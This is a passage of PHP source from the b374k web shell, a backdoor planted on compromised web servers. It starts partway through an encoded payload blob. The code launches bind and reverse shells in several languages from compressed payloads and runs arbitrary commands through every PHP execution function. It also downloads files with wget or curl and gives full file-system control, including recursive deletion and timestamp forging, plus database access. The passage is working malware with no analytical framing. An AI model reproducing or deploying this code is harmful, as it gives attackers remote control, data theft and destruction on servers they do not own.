UmPIaQFtEqod5N3BrfNPdzuje//mIj3YeMh9JWa+aQdKIH1g5+l8E/YzWIIcoUyk35fRxxleX+upD5TxHIEoIE3bFCquoba+PjxSDR2E8iW67wCRsYoMosoCJ8/E1BztL6kgk+vvVGQ/zi9wCpOlR3WYpIjXRE6jQzZSNaquus8MU2TzTkxPhJmLkmkc4eYMtvrNKnJz0WtrrEFjq/a3VPT0Yt8SWSBjXfKtetNyZssK8wVKhs9a88W3GgBNSznNivOho+mEJohng786Q+a9mJ044gem7BxBQmTBuMZozd4nvKbuvQta229RV4tJU9Tumwym7r+bycFzyFRPV6HeAX88X2J10igO63XCyAjVafNV3BE/VdlxDe5KR0Biox3uov6q6A24fb8fArM5zMO4sA3GQqw73+OTiSwEkjxalSQlPwlEigqNs9oJf+pvI4jY4qau0R8oJilcRQWjY/rUsvIpsKGnp6P9v6GiXmdYDrb6+TYL8Gt1Io9AgOOygUEg02lwwQwcqmKY9wYWnFQYFNNe0G3n0Wh50qkm6dQu+xkS1fCWb2PXbS9TKQeTOTrp5KwfTuyVbUBHgVOrwT/wU="; + +// make link for folder $s_cwd and all of its parent folder +function swd($s_p){ + global $s_self; + $s_ps = explode(DIRECTORY_SEPARATOR,$s_p); + $s_pu = ""; + for($s_i = 0 ; $s_i < sizeof($s_ps)-1 ; $s_i++){ + $s_pz = ""; + for($s_j = 0 ; $s_j <= $s_i ; $s_j++) $s_pz .= $s_ps[$s_j].DIRECTORY_SEPARATOR; + $s_pu .= "".$s_ps[$s_i]." ".DIRECTORY_SEPARATOR." "; + } + return trim($s_pu); +} +// htmlspecialchars, < > " +function hss($s_t){ + $s_n = array(">","<","\""); + $s_y = array(">", "<", """); + return str_replace($s_n,$s_y,$s_t); +} +// add quotes +function pf($f){ + return "\"".$f."\""; +} +// remove
tags +function rp($s_t){ + return trim(str_replace("
","",$s_t)); +} +// replace spaces with underscore ( _ ) +function cs($s_t){ + return str_replace(" ","_",$s_t); +} +// strip slashes,trim and urldecode +function ss($s_t){ + return (!get_magic_quotes_gpc())? trim(urldecode($s_t)) : trim(urldecode(stripslashes($s_t))); +} +// only strip slashes +function ssc($s_t){ + return (!get_magic_quotes_gpc())? trim($s_t) : trim(stripslashes($s_t)); +} +// bind and reverse shell +function rs($s_rstype,$s_rstarget,$s_rscode){ + //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php + //resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_win $s_rs_php + $s_result = ""; + $s_fpath = ""; + $s_fc = gzinflate(base64_decode($s_rscode)); + + $s_errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one"; + $s_errgcc = "Unable to compile using gcc"; + $s_errjavac = "Unable to compile using javac"; + + $s_split = explode("_",$s_rstype); + $s_method = $s_split[0]; + $s_lang = $s_split[1]; + if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){ + if($s_lang=="py") $s_runlang = "python"; + elseif($s_lang=="pl") $s_runlang = "perl"; + elseif($s_lang=="rb") $s_runlang = "ruby"; + elseif($s_lang=="js") $s_runlang = "node"; + $s_fpath = "b374k_rs.".$s_lang; + if(is_file($s_fpath)) unlink($s_fpath); + if($s_file=fopen($s_fpath,"w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath)){ + $s_result = exe("chmod +x ".$s_fpath); + $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="c"){ + $s_fpath = "b374k_rs"; + if(is_file($s_fpath)) unlink($s_fpath); + if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); + if($s_file=fopen($s_fpath.".c","w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath.".c")){ + $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath); + if(is_file($s_fpath)){ + $s_result = exe("chmod +x ".$s_fpath); + $s_result = exe("./".$s_fpath." ".$s_rstarget); + } + else $s_result = $s_errgcc; + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="win"){ + $s_fpath = "b374k_rs.exe"; + if(is_file($s_fpath)) unlink($s_fpath); + if($s_file=fopen($s_fpath,"w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath)){ + $s_result = exe($s_fpath." ".$s_rstarget); + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="java"){ + $s_fpath = "b374k_rs"; + if(is_file($s_fpath.".java")) unlink($s_fpath.".java"); + if(is_file($s_fpath.".class")) unlink($s_fpath.".class"); + if($s_file=fopen($s_fpath.".java","w")){ + fwrite($s_file,$s_fc); + fclose($s_file); + if(is_file($s_fpath.".java")){ + $s_result = exe("javac ".$s_fpath.".java"); + if(is_file($s_fpath.".class")){ + $s_result = exe("java ".$s_fpath." ".$s_rstarget); + } + else $s_result = $s_errjavac; + } + else $s_result = $s_errperm; + } + else $s_result = $s_errperm; + } + elseif($s_lang=="php"){ + $s_result = eval("?>".$s_fc); + } + if(is_file($s_fpath)) unlink($s_fpath); + if(is_file($s_fpath.".c")) unlink($s_fpath.".c"); + if(is_file($s_fpath.".java")) unlink($s_fpath.".java"); + if(is_file($s_fpath.".class")) unlink($s_fpath.".class"); + if(is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class"); + return $s_result; +} +// format bit +function ts($s_s){ + if($s_s<=0) return 0; + $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); + $s_e = floor(log($s_s)/log(1024)); + return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e)))); +} +// get file size +function gs($s_f){ + $s_s = @filesize($s_f); + if($s_s !== false){ + if($s_s<=0) return 0; + return ts($s_s); + } + else return "???"; +} +// get file permissions +function gp($s_f){ + if($s_m=@fileperms($s_f)){ + $s_p = 'u'; + if(($s_m & 0xC000) == 0xC000)$s_p = 's'; + elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l'; + elseif(($s_m & 0x8000) == 0x8000)$s_p = '-'; + elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b'; + elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd'; + elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c'; + elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p'; + $s_p .= ($s_m & 00400) ? 'r' : '-'; + $s_p .= ($s_m & 00200) ? 'w' : '-'; + $s_p .= ($s_m & 00100) ? 'x' : '-'; + $s_p .= ($s_m & 00040) ? 'r' : '-'; + $s_p .= ($s_m & 00020) ? 'w' : '-'; + $s_p .= ($s_m & 00010) ? 'x' : '-'; + $s_p .= ($s_m & 00004) ? 'r' : '-'; + $s_p .= ($s_m & 00002) ? 'w' : '-'; + $s_p .= ($s_m & 00001) ? 'x' : '-'; + return $s_p; + } + else return "???????????"; +} +// shell command +function exe($s_c){ + $s_out = ""; + $s_c = $s_c." 2>&1"; + + if(is_callable('system')) { + ob_start(); + @system($s_c); + $s_out = ob_get_contents(); + ob_end_clean(); + if(!empty($s_out)) return $s_out; + } + if(is_callable('shell_exec')){ + $s_out = @shell_exec($s_c); + if(!empty($s_out)) return $s_out; + } + if(is_callable('exec')) { + @exec($s_c,$s_r); + if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s; + if(!empty($s_out)) return $s_out; + } + if(is_callable('passthru')) { + ob_start(); + @passthru($s_c); + $s_out = ob_get_contents(); + ob_end_clean(); + if(!empty($s_out)) return $s_out; + } + if(is_callable('proc_open')) { + $s_descriptorspec = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w") + ); + $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array()); + if (is_resource($s_proc)) { + while ($s_si = fgets($s_pipes[1])) { + if(!empty($s_si)) $s_out .= $s_si; + } + while ($s_se = fgets($s_pipes[2])) { + if(!empty($s_se)) $s_out .= $s_se; + } + } + @proc_close($s_proc); + if(!empty($s_out)) return $s_out; + } + if(is_callable('popen')){ + $s_f = @popen($s_c, 'r'); + if($s_f){ + while(!feof($s_f)){ + $s_out .= fread($s_f, 2096); + } + pclose($s_f); + } + if(!empty($s_out)) return $s_out; + } + return ""; +} +// add slash to the end of given path +function cp($s_p){ + if(is_dir($s_p)){ + $s_x = DIRECTORY_SEPARATOR; + while(substr($s_p,-1) == $s_x) $s_p = rtrim($s_p,$s_x); + return $s_p.$s_x; + } + return $s_p; +} +// delete dir and all of its content (no warning !) xp +function rmdirs($s_d){ + $s_d = (substr($s_d,-1)=='/') ? $s_d:$s_d.'/'; + $dh = opendir($s_d); + while(($item = readdir($dh))!==false) { + $item = $s_d.$item; + if((basename($item)=="..")||(basename($item)==".")) continue; + $type = filetype($item); + if($type == "dir") rmdirs($item); + else @unlink($item); + } + closedir($dh); + @rmdir($s_d); +} +// get array of all files from given directory +function getallfiles($s_dir){ + $s_f = glob($s_dir . '*'); + for($s_i = 0; $s_i < count($s_f); $s_i++){ + if(is_dir($s_f[$s_i])) { + $s_a = glob($s_f[$s_i].DIRECTORY_SEPARATOR.'*'); + $s_f = array_merge($s_f, $s_a); + } + } + return $s_f; +} +// which command +function xwhich($s_pr){ + $s_p = exe("which $s_pr"); + if(trim($s_p)!="") { return trim($s_p); } else { return trim($s_pr); } +} +// download file from internet +function dlfile($s_u,$s_p){ + $s_n = basename($s_u); + + // try using php functions + if($s_t = @file_get_contents($s_u)){ + if(is_file($s_p)) unlink($s_p);; + if($s_f=fopen($s_p,"w")){ + fwrite($s_f,$s_t); + fclose($s_f); + if(is_file($s_p)) return true; + } + } + // using wget + exe(xwhich('wget')." ".$s_u." -O ".$s_p); + if(is_file($s_p)) return true; + + // try using lwp-download + exe(xwhich('lwp-download')." ".$s_u." ".$s_p); + if(is_file($s_p)) return true; + + // try using lynx + exe(xwhich('lynx')." -source ".$s_u." > ".$s_p); + if(is_file($s_p)) return true; + + // try using curl + exe(xwhich('curl')." ".$s_u." -o ".$s_p); + if(is_file($s_p)) return true; + + return false; +} +// find writable dir +function get_writabledir(){ + if(is_writable(".")) $s_d = ".".DIRECTORY_SEPARATOR; + else{ + if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMPDIR")){ + if(is_writable("/tmp")) $s_d = "/tmp/"; + else $s_d = getcwd().DIRECTORY_SEPARATOR; + } + } + return $s_d; +} +// zip function +function zip($s_srcarr, $s_dest){ + if(!extension_loaded('zip')) return false; + + + if(class_exists("ZipArchive")){ + $s_zip = new ZipArchive(); + if(!$s_zip->open($s_dest, 1)) return false; + + if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr); + foreach($s_srcarr as $s_src){ + $s_src = str_replace('\\', '/', $s_src); + if(is_dir($s_src)){ + $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1); + foreach($s_files as $s_file){ + $s_file = str_replace('\\', '/', $s_file); + if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue; + if (is_dir($s_file) === true) $s_zip->addEmptyDir(str_replace($s_src . '/', '', $s_file . '/')); + else if (is_file($s_file) === true) $s_zip->addFromString(str_replace($s_src . '/', '', $s_file), @file_get_contents($s_file)); + } + } + elseif(is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src)); + } + $s_zip->close(); + return true; + } +} +// check shell permission to access program +function check_access($s_lang){ + $s_s = 0; + switch($s_lang){ + case "python": + $s_cek = strtolower(exe("python -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "perl": + $s_cek = strtolower(exe("perl -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "ruby": + $s_cek = strtolower(exe("ruby -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "node": + $s_cek = strtolower(exe("node -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "gcc": + $s_cek = strtolower(exe("gcc --help")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "tar": + $s_cek = strtolower(exe("tar --help")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + break; + case "java": + $s_cek = strtolower(exe("javac --help")); + if(strpos($s_cek,"usage")!==false){ + $s_cek = strtolower(exe("java -h")); + if(strpos($s_cek,"usage")!==false) $s_s = 1; + } + break; + } + return $s_s; +} +// find available archiver +function get_archiver_available(){ + global $s_self, $s_tar; + $s_dlfile = ""; + $s_avail_arc = array("raw" => "raw"); + + if(class_exists("ZipArchive")){ + $s_avail_arc["ziparchive"] = "zip"; + } + if($s_tar){ + $s_avail_arc["tar"] = "tar"; + $s_avail_arc["targz"] = "tar.gz"; + } + + $s_option_arc = ""; + foreach($s_avail_arc as $s_t => $s_u){ + $s_option_arc .= ""; + } + + $s_dlfile .= "
+ + +
+ "; + return $s_dlfile; +} +// explorer, return a table of given dir +function showdir($s_cwd){ + global $s_self,$s_tar; + + $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + $s_win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false; + + $s_fname = array(); + $s_dname = array(); + $s_total_file = 0; + $s_total_dir = 0; + + if(function_exists("scandir") && $s_dh = @scandir($s_cwd)){ + foreach($s_dh as $s_file){ + if(is_dir($s_file)) $s_dname[] = $s_file; + elseif(is_file($s_file)) $s_fname[] = $s_file; + } + } + else{ + if($s_dh = @opendir($s_cwd)){ + while($s_file = readdir($s_dh)){ + if(is_dir($s_file)) $s_dname[] = $s_file; + elseif(is_file($s_file))$s_fname[] = $s_file; + } + closedir($s_dh); + } + } + + natcasesort($s_fname); + natcasesort($s_dname); + $s_list = array_merge($s_dname,$s_fname); + + if($s_win){ + //check if this root directory + chdir(".."); + if(cp(getcwd())==cp($s_cwd)){ + array_unshift($s_list, "."); + } + chdir($s_cwd); + } + + $s_path = explode(DIRECTORY_SEPARATOR,$s_cwd); + $s_tree = sizeof($s_path); + + $s_parent = ""; + if($s_tree > 2) for($s_i=0;$s_i<$s_tree-2;$s_i++) $s_parent .= $s_path[$s_i].DIRECTORY_SEPARATOR; + else $s_parent = $s_cwd; + + $s_owner_html = (!$s_win && $s_posix) ? "owner:group" : ""; + $s_colspan = (!$s_win && $s_posix) ? "6" : "5"; + $s_buff = " + + ".$s_owner_html." + "; + + $s_arc = get_archiver_available(); + foreach($s_list as $s_l){ + if(!$s_win && $s_posix){ + $s_name = posix_getpwuid(fileowner($s_l)); + $s_group = posix_getgrgid(filegroup($s_l)); + $s_owner = $s_name['name'].":".$s_group['name']; + $s_owner_html = ""; + } + + $s_lhref = ""; + $s_lname = ""; + $s_laction = ""; + if(is_dir($s_l)){ + if($s_l=="."){ + $s_lhref = $s_self."cd=".$s_cwd; + $s_lsize = "LINK"; + $s_laction = " + + find | + upl | + +file | + +dir + +
+
+ + + + + +
"; + } + elseif($s_l==".."){ + $s_lhref = $s_self."cd=".$s_parent; + $s_lsize = "LINK"; + $s_laction = " + + find | + upl | + +file | + +dir + +
+
+ + + + + +
"; + } + else{ + $s_lhref = $s_self."cd=".$s_cwd.$s_l.DIRECTORY_SEPARATOR; + $s_lsize = "DIR"; + $s_laction = " + + find | + upl | + ren | + del + +
+
+ + + + + + +
"; + $s_total_dir++; + } + $s_lname = "[ ".$s_l." ]"; + $s_lsizetit = "0"; + $s_lnametit = "dir : ".$s_l; + } + else{ + $s_lhref = $s_self."view=".$s_cwd.$s_l; + $s_lname = $s_l; + $s_lsize = gs($s_l); + $s_lsizetit = @filesize($s_l); + $s_lnametit = "file : ".$s_l; + $s_laction = " +
+
+ + + + + +
+ + edit | + hex | + ren | + del + "; + $s_total_file++; + } + + if(($s_l!='.')&&($s_l!='..')){ + $s_cboxes = " + + "; + } + + + else $s_cboxes = "~"; + $s_ldl = str_replace("__dlpath__",$s_l,$s_arc); + $s_buff .= " + + + + + ".$s_owner_html." + + + + "; + } + + $s_extract = "";$s_compress = ""; + if(class_exists("ZipArchive")){ + $s_extract .= " + "; + $s_compress .= " + "; + } + if($s_tar){ + $s_extract .= " + + "; + + $s_compress .=" + "; + } + + $s_buff .= " + + + +
namesizepermsmodifiedactiondownload
".$s_owner."
".$s_cboxes." + ".$s_lname." + ".$s_lsize."".gp($s_l)."".@date("d-M-Y H:i:s",filemtime($s_l))."".$s_laction."".$s_ldl."
+
+ + +
+ + Total : ".$s_total_file." files, ".$s_total_dir." Directories
+ "; + return $s_buff; +} +//database related functions +function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost,$s_sqluser,$s_sqlpass); + elseif(function_exists('sqlsrv_connect')){ + $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass); + return @sqlsrv_connect($s_sqlhost,$s_coninfo); + } + } + elseif($s_sqltype == 'pgsql'){ + $s_hosts = explode(":", $s_sqlhost); + if(count($s_hosts)==2){ + $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1]; + } + else $s_host_str = "host=".$s_sqlhost; + if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass"); + } + elseif($s_sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($s_sqluser,$s_sqlpass,$s_sqlhost);} + elseif($s_sqltype == 'sqlite3'){ + if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost); + else return false; + } + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} + elseif($s_sqltype == 'pdo'){ + if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost,$s_sqluser,$s_sqlpass); + else return false; + } +} +function sql_query($s_sqltype, $s_query, $s_con){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($s_query);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_query')) return mssql_query($s_query); + elseif(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($s_query);} + elseif($s_sqltype == 'oracle'){ + if(function_exists('oci_parse') && function_exists('oci_execute')){ + $s_st = oci_parse($s_con, $s_query); + oci_execute($s_st); + return $s_st; + } + } + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->query($s_query);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($s_con, $s_query);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($s_con, $s_query);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con->query($s_query);} +} +function sql_num_fields($s_sqltype, $s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil); + elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($s_hasil);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->numColumns();} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($s_hasil);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->columnCount();} +} +function sql_field_name($s_sqltype,$s_hasil,$s_i){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i); + elseif(function_exists('sqlsrv_field_metadata')){ + $s_metadata = sqlsrv_field_metadata($s_hasil); + if(is_array($s_metadata)){ + $s_metadata=$s_metadata[$s_i]; + } + if(is_array($s_metadata)) return $s_metadata['Name']; + } + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($s_hasil,$s_i+1);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->columnName($s_i);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($s_hasil,$s_i+1);} + elseif($s_sqltype == 'pdo'){ + if(class_exists('PDO')){ + $s_res = $s_hasil->getColumnMeta($s_i); + return $s_res['name']; + } + } +} +function sql_fetch_data($s_sqltype,$s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil); + elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($s_hasil);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->fetchArray(1);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($s_hasil,1);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->fetch(2);} +} +function sql_num_rows($s_sqltype,$s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil); + elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($s_hasil);} + elseif($s_sqltype == 'sqlite3'){ + if(class_exists('SQLite3')){ + $s_metadata = $s_hasil->fetchArray(); + if(is_array($s_metadata)) return $s_metadata['count']; + } + } + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($s_hasil);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->rowCount();} +} +function sql_close($s_sqltype,$s_con){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($s_con);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_close')) return mssql_close($s_con); + elseif(function_exists('sqlsrv_close')) return sqlsrv_close($s_con); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($s_con);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($s_con);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->close();} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($s_con);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($s_con);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con = null;} +} +if(!function_exists('str_split')){ + function str_split($s_t,$s_s=1){ + $s_a = array(); + for($s_i=0;$s_iYes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='chmod'){ + $s_result .= "
chmod ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='touch'){ + $s_result .= "
touch ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='extractzip'){ + $s_result .= "
extract to ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='extracttar'){ + $s_result .= "
extract to ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='extracttargz'){ + $s_result .= "
extract to ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='compresszip'){ + $s_result .= "
compress to ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='compresstar'){ + $s_result .= "
compress to ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='compresstargz'){ + $s_result .= "
compress to ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='paste' && $s_massact=='cut'){ + $s_result .= "

Move here ? Yes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='paste' && $s_massact=='copy'){ + $s_result .= "

Copy here ? Yes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + } + } + + if(isset($_REQUEST['y'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + if($_REQUEST['y']=='moveok'){ + foreach($s_lists as $s_l){ + if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders moved

"; + else $s_result .= "

no files/folders moved

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + if($_REQUEST['y']=='copyok'){ + foreach($s_lists as $s_l){ + if(copy($s_l,$s_cwd.basename($s_l))) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders copied

"; + else $s_result .= "

no files/folders copied

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + if($_REQUEST['y']=='delok'){ + foreach($s_lists as $s_l){ + if(is_file($s_l)){ + if(unlink($s_l)) $s_counter++; + } + elseif(is_dir($s_l)){ + rmdirs($s_l); + if(!is_dir($s_l)) $s_counter++; + } + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders deleted

"; + else $s_result .= "

no files/folders deleted

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + } + elseif(isset($_REQUEST['chmodok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + $s_mod = octdec($_REQUEST['chmodok']); + foreach($s_lists as $s_l){ + if(chmod($s_l,$s_mod)) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed mode to ".decoct($s_mod)."

"; + else $s_result .= "

no files/folders modified

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['touchok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + $s_datenew = strtotime($_REQUEST['touchok']); + foreach($s_lists as $s_l){ + if(touch($s_l,$s_datenew)) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed access and modification time to ".date("d-M-Y H:i:s",$s_datenew)."

"; + else $s_result .= "

no files/folders modified

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['compresszipok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_file = $_REQUEST['compresszipok']; + if(zip($s_lists, $s_file)){ + $s_result .= "

archive created : ".$s_file."

"; + } + else $s_result .= "

error creating archive file

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['compresstarok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists_ = explode("|", $s_buffer); + $s_lists = array(); + $s_file = $_REQUEST['compresstarok']; + $s_file = basename($s_file); + + $s_lists__ = array_map("basename", $s_lists_); + $s_lists = array_map("pf", $s_lists__); + exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists)); + + if(is_file($s_file)){ + $s_result .= "

archive created : ".$s_file."

"; + } + else $s_result .= "

error creating archive file

